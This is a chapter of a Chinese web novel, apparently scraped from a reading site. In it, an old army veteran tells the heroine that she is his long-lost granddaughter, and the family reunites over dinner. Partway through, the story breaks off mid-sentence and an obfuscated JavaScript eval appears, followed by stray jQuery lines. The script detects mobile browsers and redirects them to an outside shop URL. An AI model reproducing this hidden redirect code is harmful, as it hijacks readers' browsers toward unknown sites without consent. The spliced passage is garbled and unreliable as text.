默认冷灰
24号文字
方正启体

132. 知来处

作者:颜少之本书字数:K更新时间:
    柯老爷子长叹一声,那叹息里有愧疚与痛心。“唉,说到底,是家门不幸。这里头有些腌臜旧事,但婷婷是最大的苦主,该知道,也不必回避。”


    他目光沉痛,缓缓道出那段被掩盖的过往:


    “我那儿媳妇,当年下乡时行为便有失检点。回城后,怕嫁进柯家露了马脚,竟生出个李代桃僵的毒计。她哄骗了婷婷的亲妈——也就是她下乡当知青时同村的好友——到锦城来,设计让她与我儿子有了肌肤之亲……这才有了婷婷。”


    “那毒妇为了永绝后患,事后拿钱买通了婷婷的舅舅,让他看住自己妹妹,务必把这事烂在肚子里。”


    柯万庆的声音至此,已冷硬如铁。他每说一句,堂屋内的空气便凝固一分,仿佛不是在陈述,而是在法庭上宣读一桩罪证。“婷婷的妈妈……性子太软,怕极了事情败露身败名裂,没等显怀,就由她舅舅做主,匆匆找人嫁了,便是后来婷婷名义上的父亲。”


    “她这一嫁,就是把我柯家的血脉,推进了火坑里整整十六年!”老爷子猛地一拳捶在椅子扶手上,那声闷响让所有人心脏一紧。“而那毒妇,却顶着柯家儿媳的名头,在军区大院里享了十几年的清福!此等心术,蛇蝎不如!


    说到此处,柯万庆的呼吸骤然粗重了几分。那只布满岁月痕迹的手猛地攥紧,指节用力到发白,手背上嶙峋的青筋根根暴起,突突地跳着。他紧抿着唇,下颌的线条绷得像一块冷硬的石头,那从枪林弹雨中淬炼出的刚硬气场,此刻化作无声却骇人的怒涛,在安静的堂屋里沉沉压开。


    “这么多年,我们一家都被那毒妇蒙在鼓里,只当我儿子身有隐疾,不能生育……直到我遇见了婷婷。”


    他望向卫南亭,眼神里翻涌着难以言喻的疼惜与激动。


    “起初,我只以为你是故人之后,心生亲切,便让柯森去细查。谁知这一查……竟查回了我们柯家的骨血!婷婷,你才是我的亲孙女啊!”


    卫南亭被震惊当场,她万万没想到她的身份,她竟然是柯爷爷的亲孙女,怪不得她觉得对方亲切慈爱。


    她说不出话来,耳畔嗡嗡作响,柯爷爷后面的话变得模糊。世界仿佛在旋转,唯一清晰的,是桌对面那道始终落在她身上的视线。她下意识地望过去,撞进许明起深潭似的眼眸里。他没有说话,只是极轻微地、几不可察地对她点了下头。仿佛在说:“别怕,我在这里。”就是这无声的一眼,让她狂跳的心,忽然找到了落点。


    “哎——呀!”


    吴奶奶猛地一拍大腿,恍然大悟,所有线索瞬间串联起来。


    “这就对了!这就全都对上了!”


    她见柯万庆面露诧异,连忙激动地补充:


    “柯老弟,你是不知道!婷婷那妈,打小就对婷婷没个好脸,恨不得把这孩子丢出去!婷婷命苦啊,小小年纪就在舅舅家当劳力,灶台还没她高就得踮脚做饭……回了自己家,照样挨骂受气。这回能来县城读书,要不是我这老婆子硬压着,加上孩子自己争气,她妈早把她学给断了!就前阵子,还闹到学校去,要逼婷婷退学呢!”


    “还有这事?!”柯万庆震怒,声音陡然拔高。


    “千真万确!”吴奶奶连连点头,愤慨道,“她那妈,从来就不想婷婷好!我估摸着,就是怕这孩子有出息了,哪天旧事翻出来,坏了她自己的‘好日子’!”


    柯万庆面色铁青,胸膛起伏:“我原还想着,总归是她生了婷婷,要不要私下给些补偿,全了这段生恩……”


    “补偿她什么?!”吴奶奶顿时急了,一把拉住旁边许明起的胳膊,“不信你问明起这孩子!他们打小住得近,婷婷家的事,他看得真真儿的!你让他说!”


    所有目光瞬间聚焦到许明起身上。


    他下颌微微绷紧,迎着柯爷爷灼灼的视线,清晰而沉缓地将那些往事一一道来。他的声音平稳,但桌下,放在膝上的手却悄然握成了拳。那些他亲眼所见、甚至曾试图阻拦的委屈,每说出一件,都像在重温一次当年的无力与愤怒。卫南亭垂着眼,听着他用最朴素的言语揭开旧伤疤,却没有感到难堪。奇怪,当这些事从他的口中说出来,那份孤零零的痛,仿佛被分担了大半。


    可许明起的每一句平实的叙述,都像一根针,刺痛着柯万庆。


    “都怪你那糊涂爹!”柯万庆声音里带着痛心的斥责,目光却满是歉疚地看向卫南亭,“被个毒妇蒙骗了十几年,竟丝毫未察。若不是我让他去查,他至今还不知道,自己有个这么好的女儿……”


    老爷子的声音渐渐低了下去,那份战场上淬炼出的刚硬,此刻被担忧侵蚀得有些脆弱。他望着卫南亭,小心翼翼地问:“婷婷,是爷爷和爸爸对不住你……让你吃了这么多苦。你……会不会怪我们?”


    他怎能不担忧?这孩子自尊要强,心思又深,此前已婉拒过他数次好意。他怕这份迟来的真相与亲情,仍被她关在门外。


    卫南亭摇了摇头。


    她怎么会怪柯爷爷和那位只见过一次的父亲呢?她怎么会是非不分,去怨恨好人,却放过真正的恶人呢?罪魁祸首是温敏的恶意与冯玉珍的懦弱自私,是她们合谋,将她前世的命运推入泥沼。


    可转念一想,能全怪她们吗?倘若自己依旧困在前世那一方逼仄的天地里,看不到更远的人与事,便不会遇见柯爷爷,这身世之谜恐怕将永远沉埋。


    命运如同一张错综的网,谁都难辞其咎。她有些遗憾的是,竟是当初温敏拿钱羞辱她时,自己没有收下——对于那般恶人,何必讲什么骨气?拿了,才能更痛快。


    万千思绪瞬间掠过,最终沉淀下来的,是释然,是感激。她抬起头,目光清澈而恳切,望进柯万庆盈满不安的眼里:


    “柯爷爷,我不怪你们,一点也不。”她的声音平稳温和,带着让人安心的语气,“相反,我要谢谢你们。谢谢你们愿意查明真相,谢谢你们告诉我。比起被蒙蔽一生,我宁愿清醒地知道来处。谢谢您。”


    她抬起眼,目光缓缓扫过在场每一位关切的面容,最后落在爷爷盈满泪光的眼里。她眼中有泪,却没有哭。


    “柯爷爷,”她的声音悦耳得像雨打琵琶,“我不是找到家的迷路小孩。如您所见,我是吃了不少苦,可我也是坚韧的,不是谁都可以打到的。”


    “好孩子……我的好孩子啊……”


    柯万庆听到这句“不怪”,仿佛心头最重的巨石被移开,瞬间老泪纵横。他连连说着“好孩子”,声音哽咽得难以成句,只能伸出手,紧紧握住卫南亭的手,那温暖的颤抖,表达着失而复得的激动与心酸。


    堂屋内弥漫着浓得化不开的温情与伤感。一直静静陪坐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117575|186557||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在旁的陈国强,见老首长情绪激荡难以平复,适时地清了清嗓子,脸上带着宽和的笑容,温声打起了圆场:


    “老首长,婷婷,这是天大的喜事啊,血脉至亲终于团圆!看把这孩子通透的,多招人疼。”他一边说着,一边笑着示意桌上渐温的饭菜,“咱们啊,光顾着说话,这菜都快凉了。尤其是婷婷炖的这锅好汤,趁热喝,才是养人又暖心。来来,都动筷子,咱们边吃边聊,往后的好日子长着呢!”


    这一顿饭,起初还萦绕着身世揭晓后的忐忑与唏嘘,到后来,已是真情流露,宾主尽欢。


    然而,卫南亭终究还是婉拒了去锦城一中的提议。至于铺面,她斟酌再三,只先接下了一间。柯万庆执意要将位置最好、面积最大的那间给她,她推辞不过,只得承了这份心意。


    “我想把它好好经营起来,”她眼中闪着清晰而笃定的光,那是对未来的规划,“做成一家……旗舰店。”此时尚无“超市”的概念,这仍将是一家杂货店,但已截然不同。“它现在有名字了,”她微微扬起嘴角,“叫‘庆红百货’。”


    “庆红百货……好,好名字!”柯万庆先是一愣,随即朗声笑起来,眼角深刻的纹路里都溢满了欣慰与激动。这名字里嵌着他的“庆”字,更带着他们那代人最深挚的“红”色情怀,朴实又响亮,熨帖到了他心坎里。孙女这份心意,他懂。


    关于认祖归宗、回柯家长住的事,他亦没有强求。眼下家中一团污糟亟待清理,前儿媳妇的事情尚未处置干净,此时让孙女回去,难免要面对流言与不堪。他这把老骨头无所谓,却绝不能让孩子受半分委屈。


    “柯爷爷,”卫南亭仿佛看穿他的顾虑,语气温和而坚定,“以后,我会常去锦城看您的。”


    就这一句话,让柯万庆心里安安稳稳。孙女只是暂时不住在身边,这没什么,血脉亲情已续上,往后的日子长着呢。


    “好,好。”他连连点头,忽又想起什么,语气带上些小心翼翼的解释,“你爸爸他……今天部队有紧急任务,实在临时走不开。孩子,你别怪他。”


    “我明白的。”卫南亭颔首,神情坦然。体谅是真心体谅,只是骤然要她开口叫“爸爸”,那称呼在唇齿间转了转,终究还有些陌生与沉重,需要时间。


    席间最高兴的,莫过于许明起。


    他由衷地为婷婷感到高兴。她吃了那么多苦,如今终于有了真正疼惜她的血脉至亲,有了坚实的倚仗,那双总是沉静望向远方的眼睛里,或许能少些孤寂,多些被珍视的安然。


    除此之外,他心底还藏着一份不足为外人道的私心与雀跃——婷婷往后会常去锦城了。这意味着什么?意味着他们见面的机会将大大增多。这个认知让他心头的阴云一扫而空。


    他先前最忧虑的便是此事:自己即将赴省城上大学,留下婷婷一人在县城。他怕她会孤独,更怕犹如明珠的婷婷如此美好,定然会吸引更多人的目光。若他远在异地,那些殷勤与爱慕趁虚而入……他简直不敢深想。


    他看着身旁目光清亮、正与爷爷轻声说话的少女,嘴角不自觉扬起。锦城,将是她的下一个战场,也是他求学所在。他们的轨迹,不再是短暂交汇后的分离,而是终于要并行,奔向同一片更广阔的天地。来日方长,他期待见证,也渴望参与,她未来所有的熠熠生辉。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)